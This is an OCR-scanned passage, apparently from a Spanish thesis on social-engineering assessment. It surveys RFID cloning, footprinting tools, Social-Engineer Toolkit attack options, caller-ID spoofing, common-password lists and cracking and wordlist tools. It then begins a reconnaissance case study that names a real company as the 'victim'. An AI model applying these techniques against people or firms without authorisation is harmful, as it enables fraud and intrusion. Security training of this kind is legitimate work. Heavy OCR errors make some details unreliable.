Fagura 2-13. Funcionamienlo de RFID [REF39I.

I7V
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2.3.1.4. Categoria del RFID

Existen 3 categorias de etrquetas RFID

Etiquetas de "sólo lectura", que no pueden

modificarse.

Etiquetas de "una sola escritura que permite muchas

lecturas"

Et¡quetas de "lectura, regrabables".

a

Sin embargo, existen dos familias pr¡ncipales de et¡quetas

RFID:

. Las etiquetas activas que están conectadas a

fuentes de energía intema (pila, bateria, etc.). Las

etiquetas activas mejoraron la portabilidad, pero a un

alto costo y con una duración restringida.

Las etiquetas pasivas utilizan energÍa que se crea a

una distancia corta a través de la señal de rad¡o del

trasmisor. Estas etiquetas son más económicas y, por

lo general, más pequeñas y t¡enen una duración

práct¡camente ilimitada. Su aspecto negat¡vo es que

requieren una importante cant¡dad de energía

específica de parte del lector para funcionar [REF39]



2.3.2. Numero de seria de los TAGS de radio frecuencia.

Para las et¡quetas de RFID, que no son regrabables poseen un

numero de serie único, asignado por el fabricante, de tal forma

que debido a la modulación del Chip RFID, es aconse¡able

comprar el lector del mismo fabricante, cada fabric€nte maneja

sus números de serie ya sea numero o alfanumérico, limitado a un

numero corto de caracteres, por lo general diez. [REF39].

2.3.3. Clonación de numero de dispositivo de radio frecuencia.

Con la descripción antes mencionada una vulnerabilidad clara es

el poder clonar las tarjetas RFID para y así poder tener acceso a

las áreas restringidas. Esto es viable no solo por las henamientas

que se pueden encontrar en eÍ mercado, sino que para poder

realizar la clonación es necesario estar cerca de la víctima, ya sea

que se @nozco o no, pero es necesario poder substraer la tarjeta

RFID.

F¡gura 2-14. Equipo de clonación de ta0etas RFID

rT
I t *L
I
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A veces el robo de nuestros artículos personales. como b¡lletera o

cartera, nos es más frecuente recuperar la información, cancelar

lar tarjetas de crédito y hasta la cerradura de las casa, pero no

nos enfocamos en las tarjetas RFID que también fueron robadas.

lREF40l

2.4: Diferentes técnicas y herramientas para obtener información

Dentro de esta sección se pretende ahondar en los pasos para poder

obtener información enfocádo a la empresa. es importante tener claro

que para poder segurr estos pasos hay que tener un objet¡vo definido.

Se va ahondar en varias herramientas desde la recolección de la

información, para el ingeniero social, esta elapa es muy importante y

tiene una gran inc¡denc¡a en el éxito de poder llegar al objetivo del

mismo.

2.4.1. Recaudación de información - footprint¡ng

Nos enfocaremos en la primera parta parte para la recolección e

la información, basados en el método para realizar pruebas de

penetrac¡ón de segur¡dad. [REF32]
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Figura 2-'15. Metodología basada en prueba de penetración [REF31]

Footprinting (Huella) se define como el proceso de creación de un

modelo o mapa de la red y los s¡stemas de una organizacrón.

La recopilación de ¡nformac¡ón es también conocida como

footprint¡ng de una organizaclón. Comienza determinando el

sistema de destino, aplicac¡ón o ubicación física del objetivo,

información relevante técnica de la empresa o usuario objetivo.

[REF41]

Una vez conoc¡da esta ¡nformac¡ón, la información específica

acerca de la organización con métodos no ¡ntrus¡vos. Por ejemplo,

la página web propia de la organ¡zación puede proporc¡onar un

directorio personal o una lista de biografías de los empleados, que

puede resultar útil si el atacante tiene que usar un ataque de

ingenierÍa social para alcanzar el objet¡vo.
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2.4.1.1. Herramientas de Huella - footprinting

Una herram¡enta fundamental son las búsquedas online,

utilizando Google u otro buscador. Es importante conocer

en profundidad las caracleristicas avanzadas de búsqueda

(site:, intitle:, allinurl., etc ).

Un atacante suele ulilizar el 90% de su tiempo en las

primeras etapas por esto es Ia importancia de la

recolección de la rnformación

Algunas fuentes comunes de información incluyen el uso

de las siguientes henamientas conociendo el dominio de la

empresa lREF3ll

2.4.1.2. Whois

Whois es una herramienta y un protocolo que ¡dentif¡ca

información de registración de un dominio. Está definido en

el RFC 39127

El whois evolucionó desde los primeros Unix hasta los

actuales. Las consultas se han realizado trad¡cionalmente

usando una interfaz de línea de comandos, pero

actualmente existen multitud de páginas web que permiten
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rcalizar estas consultas, aunque siguen dependiendo

internamente del protocolo original.

2.4.1.3. Resolución de nombres de dominio (DNS)

La mayor parte de la información puede obtenerse

libremente y de manera legal. Es muy importante

comprender el sistema de resolución de nombres de

dominio (DNS) para lograr una profunda comprensión de

esta etapa y del funcionamiento de lnternet.

El realizar la búsqueda de lnformación en lnternet para

obtener la d¡rección de coneo electrónico o el nombre de

una persona podemos encontrar en las listas de correo,

foros, etc. rnformación sobre la empresa donde trabaja. Es

muy importante considerar la información que se puede

obtener de las redes sociales.

2.4.1.4. Herram¡enta ARCH IVE.ORG

Esta es una henamienta muy útil y es una iniciatrva que

guarda la mayor parte de los srtios web de lnternet y

alberga obras culturales de dominio público o con licencias

' Rf C ggt Z "Especificac¡ones del prolocolo WHOIS'
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ab¡ertas Se dedica desde 1996 a recoger

sistemáticamente cop¡as de los s¡t¡os web de todo el

mundo, permitiendo estudiar su evolución. La herramienta

que perm¡le consultar srtios históricos se denomrna.

Wayback Machine [REF33]

Si la victima es una empresa y tiene una página web

institucional se puede obtener información mediante el

historia de la página, esta herramienta se la puede obtener

del link http://www archive.orq s

2.4.1.5. Transferencia de zona DNS

Una transferencia de zona es el término utilizado para

referirse al proceso que se copia el contenido de un archivo

de zona DNS de un servidor DNS principal en un servidor

DNS secundario.

Se producirá una transferenc¡a de zona durante cualquiera

de las siguientes s¡tuac¡ones.

Al iniciar el servic¡o DNS en el servidor DNS

secundario

3 The lntemet Archive, organizac¡ón s¡n fnes de lucro, es la construcc¡ón de una b¡bl¡oleca

d¡gital de s¡tios de lntemet y otros artefacios culturales en formato digfal.
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Cuando expira el tiempo de actualizacrón.

Cuando los cambios se guardan en el archivo de la

zona principal y hay una lista de notificaoón

Las transferencias de zona siempre se inician por el

servidor DNS secundario. El servidor DNS principal

s¡mplemente responde a Ia solicitud de una transferencia

de zona. IREF33]

La transferencia de zona es necesaria y no pueden ser

deshabilitadas completamente. Pero solo deben ser

permitidas entre servidores DNS y clientes que necesitan

de estas.

2.4.1.5.1 ldentificación de los Tipos de Registros

Los registros de relevancia que se pueden

encontrar son

A (address): Mapea un nombre de host a una

dirección lP

SOA (Stañ of Authority): Define el DNS

responsable de la información del dominio.

CNAiilE (canonical name): Provee nombres

adicionales o alias para dicho registro.
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MX (mail exchange): ldentifica el mailserver

del dominio

SRV (service): ldentifica servicios que ofrece

el dominio.

PTR (pointer): Mapea direcciones lP a

nombres de hoste

2.4.1.6. Araña web

Una araña web (o araña de la web) es un programa que

inspecciona las páginas del World Wide Web de forma

metódica y automatizada. Uno de los usos más frecuentes

que se les da consiste en crear una cop¡a de todas las

páginas web visitadas para su procesado posterror por un

motor de búsqueda que indexa las páginas proporcionando

un sistema de búsquedas rápido. [REF31]

2.4.2. Henamientas basadas en computadoras

En la sección anterror se describieron herramientas basadas en

información disponible en páginas web. Se va ahondar en

herramientas software que se instalan en un computador que

5 Esta ¡nformac¡ón la podemos obtener dentro del l¡nk de: r't ,",,,,, r ': . DNsstuff

ofrece herram¡entas DNS. herramienlas de red. herramientas de coneo eledrón¡co, ¡nformación

de DNS y recopilac¡ón de informac¡ón lP.
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ofrecen información más completa, y que sirven como

complemento a la información obten¡da con las herramientas

mencionadas anteriormente.

2.4.2.1. MALTEGO y FOCA

Maltego es una de las herramientas más completas y mejor

implementadas que existen actualmente en el mercado

enfocada sobre todo en la recolección de información y

m¡nería de datos, su valor añadido con respecto a las

herramientas existentes en el mercado actualmente. La

representación de la ¡nformación en una forma simbólica,

es decir, la información es presentada en d¡stinlos formatos

de forma visual y enseñan las d¡stintas relacrones

encontradas entre la información presentada, por otro lado

Maltego permite enumerar ¡nformación relacionada con

elementos de red y dominios de una forma bastante

comprensible, asi como también permite enumerar

informac¡ón relacionada con personas, datos tales como

direcciones de email, sitios web asoc¡ados, números de

teléfono, grupos sociales, empresas asociadas. etc.

IREF42]
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Figura 2-16. Maltego intelaz

Otra henamienta que es sugerida revisar para la obtención de
información es la herramienta de la empresa ir¡formatica64l0 llamada
FOCA
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Figura 2-17 . FOCA lntelaz Princ¡pal

10 lnformát¡ca 64 es una consultora de servicios ¡nformáticos antegrales, que lleva ofrec¡endo

sus servic¡os con éx¡to a entidades, tanlo públicas c¡mo privadas
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2.4.2.2. Set de lngeniería Social (SET)

La conocida herramienta SET (The Social-Engineer

Toolkit), consiste es un conjunto de herramientas

drseñadas para realizar ataques de lngeniería Social en

procesos de auditorías de seguridad informática, como

muchas herramientas actuales está programado en Python

y fue diseñada por David Kennedy (ReL1K) ([REF43],

2010 )

Figura 2-1E. SET. lnterfaz princ¡pal

Dentro del menú principal se pueden escoger varias

opciones, y como es denotar hay una sección

cr. .

especializada para ataques de rngenieria social

)

t

nia Soatat'I¡oltrar tool¡lt l! . proa¡ct ot trlrtllrc.
Y!ttt r |t!tt / ,'ü . 1 'u (:.:t 1É. . ai.
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Figura 2-19. SET. Menú principal

Figurc 2-20. SET. Sub - Menú de Ataque de lngen¡ería Social

Dentro dl submenú se encuentra una seria de opciones con

un propós¡to especifico, en cual involucra el poder atacar a

la víctima. Estas son las opciones más relevantes a tener

en cuenta para el ataque.

2.4.2.2.'1. Sistema de Phishing

SET viene con un completo sistema de creación de

ataques phishing, el cual por medio de pasos

sencillos, perm¡te generar sitios falsos, con el

objetivo de a las víct¡mas, este sitio puede ser

a

a t
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enviado por medio de correo a través de un link

IREF43]

2.4.2.2.2. Vector de Ataque Web

SET permite realizar ataques de forma automáticos

a las víctimas que ingresen a una drrección que se

pueda especificar o inducir que se acceda. La

plataforma SET emula un servidor y permite realizar

ataques que se indiquen, como por ejemplo: applets

de .java, ataques variados o s¡multanéanos, entre

otros, el producto del ataque es una ventana de

comando del equipo víctima [REF43]

2.4.2.2.3. Creación de Medios lnfectados

SET permite crear archivos con código malicroso,

que se pueden guardar denlro de un medio como.

memoria USB, DVD, disco duro externo. El archivo

se actrva al introduc¡rse dentro de la máquina de la

víctima, aprovechando de los autoejecutables de

sistemas operativos como Windows [REF43]

2.4.2.2.4. Generar ejecutable con Payload

SET permite generar un ejecutable de forma

automática, con el objetivo de poder realizar una
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conexión remota, desde la máquina de la victima a la

del atacante. Este tipo de ataques son muy

populares ya que permite configurar una variedad de

ventanas de comandos. como por ejemplo.

meterpreter, shells remotas shells ciegas de

Windows lREF43l

2.4.2.2.5. Ataques por Correo

En SET se ha dedicado una completa sección de

herramientas, para realizar ataques de ingenrería

social basados en el envió de coneos electrónicos,

permitiendo enviar correos falsos a vanas víct¡mas

lREF43l

2.4.2.2.6. Falsificando Mensajes de texto

Una opción muy interesante es el poder enviar

mensajes de texto falsos, para suplantar a personas,

haciendo creer que el mensaje de texto es real.

IREF43]

2.4.3. Basado en teléfono

2.4.3.1. Caller lD Spoofing A.

Caller lD o ldentificador de llamadas se ha convertido en

una tecnologÍa común en los negocios y el hogar. Sobre
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lodo con el avance de los teléfonos móviles reemplazar

muchas de las líneas telefónicas que utilizan las personas.

lREF44l

ldentificador de llamadas es parte de nuestra vida

cotidiana. Siendo conscientes de este hecho y cómo usar

esto para su ventaja es una necesidad para un ¡ngeniero

social exitosa

El principio básico detrás de llamada suplantación de

identidad es cambiar la información que se muestra en la

pantalla del identificador de llamadas

Estos pueden ser usados en una situación de ingeniería

social para mostrar que hay una llamada entrante desde

Una oficina remota

Dentro de la oficina

Una organización asociada

Una compañía de serv¡cios / servrcios (teléfono.

agua, lnternet, exterminador, etc.)

Un superior

Una compañía de entrega
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2.4.3.1.'l SpoofCard

Uno de los métodos más populares de la persona

que llama suplantac¡ón de identidad es mediante el

uso de un SpoofCard.

Con la compra de una de estas tarjetas que se

puede hacer pasar por el número que se desea,

estas tarjetas las comercializan en la red de ¡nternet

a costos muy bajos. [REF44]

Figura 2-21 . Spoofcard IREF44]

2.4.3.'1.2 Asterisk

Otra forma de poder hacer Spoofing, es mediante

una computadora y un servicio de VolP, utilizando la

herramienta Asteriskrt, que es una aplicación que

" Asterisk es un programa de software libre (balo licencia GPL) que proporciona

func¡onal¡dades de una central telefón¡ca (PBX).

ñtla
¿
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permite convertir tu computadora a una central

telefónica, y con ello se puede configurar para

realizar una spoofing.

2.4.3.1.3 SpoofApp

En el ámbito de los teléfonos móv¡les como el

iPhone, Android o Blackberry, se puede buscar

aplicativos gratis o de pago [REF44]

2.5: Técnicas para obtener Claves y otra información.

2.5.1. Software Malicioso

Son programas diseñados para realizar tareas o rutinas sin la

aprobación del usuario, c¡n el fin de dañar u obtener información

de sistemas co mputacionales.

El término malware abarca muchos términos en la informática,

tales como: virus informáticos, troyanos, gusanos, troyanos, y

otros

Malware no se lo debe relacionar con error de código de

programas inestables o defectuosos. Los fines pueden ser de los

Malware están orientados a:



109

Robo de lnformación de los usuarios

Engañar a los usuarios

Dañar al equipo residente

Consumo de Recursos

lnstalación y Actualización de Malware

Muchos de estos se instalan en la computadora de la victima

después de haber engañado al usuario, con técnicas de lngeniería

Social, como por ejemplo, cuando nos aparecen los po¡ups, o

ventanitas con mensajes como "Eres el Usuario 999,999", cuando se

descarga un archivo e incluso cuando nos llega un correo SPAM.

2.5.2. Claves débiles

Las claves déb¡les son, aquellas que están basadas en palabras

bien conocidas, o basadas en datos personales del usuario. Y de

esta forma el atacante puede adivinar la clave débil, cons¡derando

que podría poner la víctima como contraseña.

Si la clave es "Password'1", esta no deberÍa ser difícil de adivinarla

o cualquier de sus combinaciones "Password123"
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Hay que consrderar que "Password1", es una clave que satisface

la complejidad de uno de los programas más utilizados de gestión

de identidad Active Directory, de Microsoft

Dentro de los resultados descubiertos por las empresas de

seguridad como Verizon, se encontró que los atacantes suelen

estar habitando las redes de las victimas por meses o años antes

de poder ser detectados IREF45].

El Top 25 de contraseñas del 2013 más usadas es el srguiente

Tabla 2-1 . Claves más comunes

Claves más comunes en el mundo

1. passHord

2. 723456

3. 72345678

4. abc123

5. qwerty

6. monkey

7. Ietmein

8. dragon

9. 111111

10. baseball

11. iloveyou

12. trustnol

L3. 1234567
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14. sunshine

15. master

16. 123123

17. welcome

18. shador

19. ashley

20. football

21. jesus

22. michael

23. ninja

24. mustang

25. pass¡rondl

Estas contraseñas tienen mayor eficiencia de ser adivinadas en

Norteamérica. Mientras que las contraseñas a nivel de

latinoamericana se muestra el siguiente listado. IREF46]

f abla 2-2. Claves más comunes en español

Claves más comunes en Español

t23456

t2345

123456789

12345678

7234567
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2.5.3. Adivinando las claves.

Adivinar es una forma ineficiente de encontrar una contraseña

hasta que se cons¡dera esto, la mayoría de las cúnfraseñas

eleg¡das por los usuarios se dividen en un grupo muy estrecho de

la palabra, por lo que adivinar mucho más fácil para los hackers

sería. Las contraseñas más utilizadas son el nombre de una

persona o el nombre de su esposa, hijos o mascotas. Su

cumpleaños, número de placa, nombre de la calle o el nombre de

una celebridad favorita también se util¡zan. Más preocupante es el

111111

Contra s eña

Tequieno

ogoooo

estrella

iloveyou

65432r

bon it a

mariposa

amerlca

"numero de cedula'

"nombnes pnopios'
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número de personas que dejan su contraseña en blanco o usar el

valor predeterminado de fábr¡ca.

Los atacantes normalmente generan una l¡sta de posibles

contraseñas para ¡ntentar basado en la información personal.

El cumpleaños de la persona.

Las contraseñas de otras cuentas, si sabes o

puedes averiguar.

El nombre de la mascota de la persona, su novio o

novia o miembros de la familia.

Su bebida favoflta, comida, equ¡po deportivo, frase

de una película, grupo musical, etc.

El pasword podría tener un numero al final:

o El nombre de la calle de la persona

o El número de la suerte

o Algo siempre, como 1 ó 123

o Año de nac¡miento

o Mes de Nacimiento o día

Muy a menudo se usan fechas de nac¡miento, como

12118192 ó solo 121892

El password puede ser sensible a las mayúsculas, y

la persona podría haber usado una combinación rara

de mayúsculas y minúsculas.
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Si se conoce bien a la persona en sus intereses y

hobbies, en esos detalles podría estar oculta su

contraseña.

Si se sabe cuántas letras tiene la contraseña. esto

podría ahonar mucho tiempo.

Esta información es útil para poder generar una lista de

contraseñas útiles y el grado de éxito se base en la poca

complejidad.

Otra forma de ocultar las contraseñas es utilizando frases

senc¡llas como el nombre, apellido, equipo de futbol favorito, y

traducirlo al lenguaje leek de esta forma es más sencillo

recordarlo.

2.5.3.1 Lenguaje LEEK

Leet ( 1 337) es un lenguaje escrito o cifrado utilizado en

correos electrónicos, mensajes de texto y otros medios

electrónicos de mmun¡cacion. La raíz del término "leet" es

la palabra elite (traducida como 31337) y 1337 fue

inicralmente como un lenguaje exclusorio; un modo de

codificar texto de modo que los mensajes solo puedan ser

entendidos por los iniciados. La característica principal de

1337 es la substitución de símbolos y números por letras
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(por ejemplo, in el término "1337", 1=L, 3=E y 7=T), pero el

lenguaje ha sido desanollado intencionalmente para inclu¡r

faltas de ortografía, camb¡os en la pronunciación de las

palabras y aun nuevas palabras. Si quieres estar

familiarizado con el 1337, o solamente sientes curiosidad,

este artículo te explicará los conceptos básicos de como

leer y escribir en este siempre cambiante lenguaje.

lREF4TI

8U3N D14 L3C70R. 51 PUDo L33R H4574 40U1
L0 F311C174M05. 4C484 D3 4PR084R 3L 3X4M3N
QU3 LO H481L,I7A P4R4 EMPL34R Y 7R4DUC1R
3L UL71M151M0 6R170 D3 C3RV4N735 3N
'1 N73RN3T: 3L L3N6U4J3 H4CK3R

2.5.4. Software de fuerza bruta

En cr¡ptografia la técn¡c€ ataque de fuerza bruta o la búsqueda de

la clave por método exhaustivo, es la forma de poder obtener una

contraseña, mediante la prueba de diferentes comb¡naciones

pos¡bles hasta lograr encontrar aquella que de acceso.

También se lo puede definir como la técnica o procedimiento, que

partiendo del conocimiento del algoritmo de cifrado utilizado, y

ten¡endo un texto cifrado, se puede realizar el descifrado de forma
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exitosa. La fuerza bruta suele combrnarse con un ataque de

diccionario IREF33l

2.5.4.1. Ataque de Diccionario

Una forma de poder obtener la clave deseada, es poder

contar con un archivo o diccionario de palabras, en cual

está compuesto por combinaciones de caracteres. El

ataque se realiza probando cada una de las palabras o

combinación de caracteres que contenga el diccionario, el

alaque dura hasta que se encuentre la palabra o se haya

probado todas las palabras IREF32]

Este ataque suele dar resultado, cuando la clave es débil y

fácil de encontrar en un diccionario de palabras, de lo

contrario no es muy recomendable esta técnica

Las henamientas más recomendadas por

especiafizada en segurrdad SecTools.Org

siguientes:

la página

son las

2.5.4.1.'l Aircrack

Aircrack es una suite de herramientas pata

8O2 llalblg WEP y WPA crackrng lmplementa los
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mejores algoritmos de craqueo conocidos para

recuperar las llaves inalámbric¿s una vez que lenga

suficientes paquetes cifrados. Licencia: Gratis,

Sistemas Operativos: Linux, Wrndows y MAC.

2.5.4.'l .2 Caín y Abel

Esta es una herramienta sólo para Windows de

recuperación de contraseña maneja una gran

variedad de tareas. Se puede recuperar contraseñas

por inhalación de la red, contraseñas cifradas

utilizando ataques de diccionar¡o, fuerza bruta y el

criptoanálisis, la grabación de conversaciones VolP,

decodificación contraseñas, revelando cuadros de

contraseña. el descubrimiento de contraseñas en

caché y el análisis de protocolos de enrutamiento.

Licencia.Gratis, Srstemas Operativos.Windows.

2.5.4.'1.3 John the Ripper

Es uno de los programas más conoc¡dos de fuerza

bruta para las contraseñas, es potente y rápido para

UNIX / Linux y Mac OS X

Su objetivo principal es detectar passwords de Unix

débiles, aunque puede desencr¡ptar hashes para
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pagada.

MAC,

1'tB

olras plataformas. Licencia. Gratis y

Sistemas Operativos Linux, Windows y

2.5.4.1.4 THC Hydra

Es una herramienta, orientada a romper por medio

de fuerza bruta un servicio de autent¡cac¡ón remota.

Puede realizar alaques de d¡ccionario rápidas contra

más de 30 protocolos, incluyendo los más comunes

telnet, ftp, http, https, smb, varias bases de datos, y

mucho más. Licencia Gratis, S¡stemas Operativos.

Linux, Windows y MAC.

2.5.4.1.5 Ophcrack

Ophcrack es un programa basado en rainbow{ables,

para las contraseñas de Windows (aunque la propia

herramienta se ejecuta en Linux, Windows y Mac).

Licencia: Gratis y pagada, Sistemas Operativos:

Linux, Windows y MAC.

c.;..

)
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2.5.4.1-6 Medusa

Medusa está es una plataforma modular, orientada a

logins basado en fueza bruta, de forma masiva, en

paralelo y rápido. Licencia. Gratis, Sistemas

Operativos: Linux, y MAC.

2.5.4.1.7 LOphtCrack

LOphtCrack se usa para descifrar contraseñas de

Windows basado en los hashes que se puedan

obtener (dado acceso adecuado) de autónomos

estaciones de trabajo Windows, servidores de red,

controladores de dominio primarios, o Active

Directory. Licencia. Pagada, Sistemas Operativos:

Windows.

2.5.4.1.8 V,lfuzz

Wfuzz es una henamienta para aplicaciones Web,

que puede ser utilizado para la búsqueda de

recursos no vinculados (directorios, servlets, scr¡pts,

etc.), fuerza bruta GET y POST parámetros para

diferentes tipos de inyecciones (SQt, XSS, LDAP,

etc.), fuerza bruta de parámetros de formulario

(usuario / contraseña), fuzzing. Licencia: Gratis,

Sistemas Operativos. Windows
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2.6. Contraseñas Comunes basadas en perfiles.

2.6.1. Perfil de contraseñas Comunes de usuario (CUPP)

Hay una gran cantidad de técnicas de ingeniería social que se

puede tratar con el fin de recuperar la información personal de

usuarios que pueden ayudar a ¡dent¡f¡car sus passwords. Los

pasos de las instalación se la puede ver en la sección C.6 del

apéndice C

No todas las personas están abiertas para el debate por lo que

habrá veces en las que es posible que no se puede recuperar la

información que se desea, lo único que se puede hacer es tener

una buena lista de contraseñas en relacrón con los intereses de

este usuar¡o. [REF4B]

El objetivo del software basado en el perfil del usuario es generar

contraseñas comunes basadas en la ¡nformación básica del

usuario, por ejemplo:

o Nombre

o Cumpleaños

o Apodo car¡ñoso

o Empresa

. lntereses
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Aficiones

Esta información se puede encontrar en los perfiles sociales de

las víctimas. como Facebook, Twitter, Linkedin. etc

F'gura 2-22. CUPP - lntelaz pnnc¡pal

Gustos

cuoo. DY !

t
,

I
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Cuando tenemos la mayor cantidad de información posible de los

¡ntereses, los nombres, apodos, afic¡ones, etc. de nuestra víctima

es el momento de utilizar el cupp con el fin de completar la

información que tenemos para la creación de la lista de

contraseñas.

Figu.a 2-23. CUPP - Parámetros para creac¡ón de l¡sla de palabras

Con excepción de la información que se puede elegir también si la

lista incluirá palabras o números al azar al final de las palabras,

caracteres especiales y palabras clave.

I

> ,tl

É

Jt.

-,
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Figura 2-24. CUPP - Creac¡ón de lisla de palabras

Ahora el CUPP tiene generar la l¡sta de contraseñas y podemos

utrlizarlo con el fin de ver s¡ algún usuario en la lista es válido.

Esta herramienta es muy válida para tratar de obtener una clave

el cual está basado en el perfil del usuario.

2.6.2. Herramienta basada en el perfil: ¿Qu¡én es su papá?

En el actual entorno de Tl de seguridad, los archivos y servtcros a

menudo están protegidos por contraseña. En ciertas situaciones.

es necesario obtener acceso a los archivos y / o datos, incluso

cuando están protegidos, y la contraseña es desconocida.

La henamienta basada en programación ¿Quién es tu papa?

nació de esas dos s¡tuaciones

1¡r
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Una prueba de penetración se debe realizar, y la lista de

palabras por defecto utilizada, no contiene una contraseña

válida.

Durante una investigación criminal forense de un archivo

protegido por contraseña se debe abrir sin saber la

contraseña.

La idea general es personalizar un perfil de los datos disponibles

acerca de un "objetivo" persona o sistema y generar una lista de

palabras de posibles contraseñas / frases de acceso de la

información disponible. En lugar de usar 'cadenas' para extraer

todos los caracteres imprimibles de todo tipo de archivos, y

eliminar la mayor cantidad de falsos pos¡t¡vos como sea posible.

El objetivo de este programa es excluir los datos de la mayor

cantidad de contraseñas "inservibles" como sea posible para

obtener una lista eficaz de posibles contraseñas / frases.
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Fiqt ra 2-25. VUID - lnlerfaz principal

El ob¡etivo de este programa es tener un nivel más alto de

personal¡zac¡ón para poder obtener una lista de claves

t.!t -:. -:::i :' i
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3

CAPITULO 3

Desarrollo del esquema lngeniería Social

Una vez revisado un poco de la historia de los ingenieros sociales, y de

sus métodos y herramrentas más usados. Se puede tener una idea de

que hay variedades de opcrones para poder @alizar ataques a victimas

dentro de una empresa. Esta es una de las razones princrpales por la

cuales, el poder tener un esquema básico, que perm¡ta evaluar el estado

de seguridad a nivel de los usuarios, suele ser de gran ayuda y apoyo

para los encargados de seguridad.

En este capitulo, se propone un esquema básico, basado en

metodologías ya conocidas y ampliamente probadas, dentro del ámbito

de seguridad informática. Este esquema se pretende poder basar su s

pruebas en escenarios prácticos, para poder realizar una inspección de

cómo la empresa puede estar sujeta a vulnerab¡l¡dades basadas en los

usuarios. También es necesario acotar que el esquema es un ensayo

que permita poder dar la pauta a más estudios y desarrollos dentro del

ámbito de los ingenieros sociales.

Los métodos de ingeniería soc¡al actualmente son l¡m¡tados, muchas

veces a la creatividad de la persona para ejecutarlos. La mayor parte de

rngenieria social se realiza a través de ataques de coneo electrón¡co,

mensaje de texto y vÍa teléfono En olras ocasiones, las tácticas pueden
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incluir el caminar por la puerta principal detrás de alguien que posee una

tarjeta de identificación de acceso válida, o dejar caer las unidades USB

portátiles en el estacionamiento o lugares públicos, a la espera de un

empleado desprevenido para conectarlos a su equipo de trabajo.

Cualquiera sea los pasos de ingen¡ería social adoptado, las empresas y

las organizaciones no están preparadas para evidenciarlas o de

contrarestar eficazmente estos intentos a través de su fuerza de trabajo.

Llamar la atención y el compromiso a los empleados puede ser difícil, sin

demostrar lo fácil a los empleados pueden ser explotados. El objetivo es

poder tener una cultura de amenaza de ingeniería social, evidenciando

los vulnerables que son las empresas. IREF49]

Uno de los esquemas más conocidos, es la metodología que se usa

para análisis de seguridad, dentro de un testeo de penetración para

empresa. La podemos encontrar dentro de vanas referencias que hacen

mención del esquema previa a la obtención de la certificación de Hackeo

Ético en sus siglas en ingles CEH.12

': CEH (Cerlif¡ed Ethical Hacker) es la certificac¡ón of¡cjal de hacking ético desde una

perspecl¡va ¡ndependiente de f abricanles.
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1..

l

Figura 3-1 Esquema para Hackeo Etico, (CEH) [REF49]

Este esquema es bien completo y exhauslo, que busc¿r demostrar y

evidenciar el mayor grado de vulnerabilidades dentro de una empresa,

cada etapa busca alimentar con mayor información a la etapa anterior.

Considerando el ob.¡etivo de este estudio, y basándonos en el modelo de

CEH antes muy brevemente mencionado se propone un esquema,

basado en la experiencia de la empresa OPEN-SEC13 como una guía. a

las personas que desean realizar prueba de ingenierÍa social.

'3 Open-Sec es una empresa focalizada en real¡zar evaluaciones de seguridad que son

requeridas por lodo lipo de organ¡zac¡ón, cualquiera sea su alcance.

I

I
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I

Figura 3-1. Esquema bás¡co propuesto de lngeniería sociel

Este esquema busca simplificar y dat pautas más claras de cómo

abordar los temas de ingenieria social, basado en escenar¡os

El mismo será explicado, paso a paso de forma práctica, enfocado a

una empresa de tecnología de venta de equipos GPS muy reconocida

en el mercado CARSEG S A (HUNTER) ,. . , ':,r . 14

3.1. Paso 1 : lnvestigación de empresa o victima

El paso de investigación se busca obtener información relevante de la

empresa para poder entablar una relación con el personal que trabaja en

la misma, la búsqueda debe recolectar la mayor información pública.

'o HUNTER empresa ded¡cada a la recup€ración de vehÍculos y mercadería robada

ITIVE STIGAR

AX t-E R
§ELECCIOO'AR

CO STRUIREXPLOTAR
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i.

F¡gura 3-2. Esquema para la inveligac¡ón

Para poder obtener la información necesario de una empresa. es

necesario basarse en un esquema que nos permita avanzar de forma

ordenada y saber lo que requiere en cada etapa. Un marco senc¡llo de

para utilizar en para la investigación de los procesos de la empresa es el

siguiente.

Recontrrmento Vrrfual Fisrco

Recolecoon

Figura 3-3. Esquema para la invesligac¡ón

tra¡.-c n

\_

sErEccro¡aR

COI{ §IRUIREXDfOrln
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3.1 .1 Reconoc¡miento:

Existen varios métodos relacionados al reconocimiento en el

marco de la ingenieria social, sobre cómo obtener la información

puede ser obtenida,

3.1.1.1. Virtual:

Este método consiste en obtener información desde medios

digitales, acceso a páginas webs públicas, de redes

sociales, de entidades del estado. Etc.

3.1.1.2. Físaco:

Este método consrste en visitar las instalaciones, ya sea

desde una visión periférica, o hacerse pasar por algún

cliente que desea conocer más de los productos.

3.1.2. Recolección de información de la victima.

En esta etapa se busca tener información más concreta y

ordenada en base a un análisis muy general antes realizado, el

objetivo es después de haber realizado el reconoc¡m¡ento, se

puede realizar una base de los datos relevantes. Una vez que se

t¡ene información básica de la empresa procedemos a buscar

información más específica que nos pueda ayudar a realizar un

ataque de ingeniería social.
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Continuando con el análisis de la empresa se busca mayor

información desde el sitio web de la víctima seleccionada, ya que

esta información está disponible para el públ¡co, es una buena

forma de conocer las posibles vulnerabilidades.

Figura 3-4. Página web victima seleccronada

De la figura 3-4, se puede resaltar que los derechos reservados

son de "CARSEG 20'l 1'. Esto nos da una pauta cual podría ser su

razón social.

Zona Cllentes

I

aalt,&¡ c6rrt YÉo -
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Figura 3-5. Términos de uso de la victima

Si vemos los términos de de uso en la figura 3-5, nos confirma

esta ¡nformación. Luego se realiza una búsqueda basado en su

razón social, si buscamos en su razón social, podemos encontrar

que su nombre es. CARRO SEGURO CARSEG S A.

Buscamos en GOOGLE el nombre de los d¡rectivos para tener

una pista de las personas de importanc¡a:

I

¿Cdno a¡ ohoñ¡d. r¡ l¡lorrracit ?
CARSIG S.A. sda !aiér, tu5 Ji33 Ja6d!rr5 :rrrti! ain¡5 gotr 9!+:r.sitrádos lrr¿-:las ',st tt¡rut

¿Ou¡én tbr¿ rc.cr r r, iñftínacirn?
C¡RSIG 5.4. Iñ..¡ co-tp.orDtc rryñ..r..ra. d. ,r...dlr ,r*r. ro¡(,<úr.! qú. -qs.,¡.¡ ,ad <L tu. roóxto. y

seric¡og Esto coí cl q¡,ali da úÉir ¡ útted opütrrró¿d+g earÉcdea J€ f,e.cado l¡es a3r.o rrc¿.t¿la , itcrG'3ñe!
CáRSIG S-L m co.1ai:,{aa rer_Je JoJ'la r¡r ba5e aa orcs a dtñ6 e.'rges¡5

¿Csno diaar lá¡.d qr¡a r utiltr $ iúo.rnaci¡¡?
CuanCo §ufrírst¡e Clo§ persofldes us¡ed ¿fa-e ¡rrirEa.re¡rle ¡¡ür¡a
pe.londr! c{ .dú.riidád cdl a5$ oo¡ñ'aá d. S+!Edr! , gn.a.,ta7

! C§s¿G S¡- Eza rs,
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Figura 3-6. Búsqueda en google de la viclima

Como vemos obtenemos información interesante en la primera

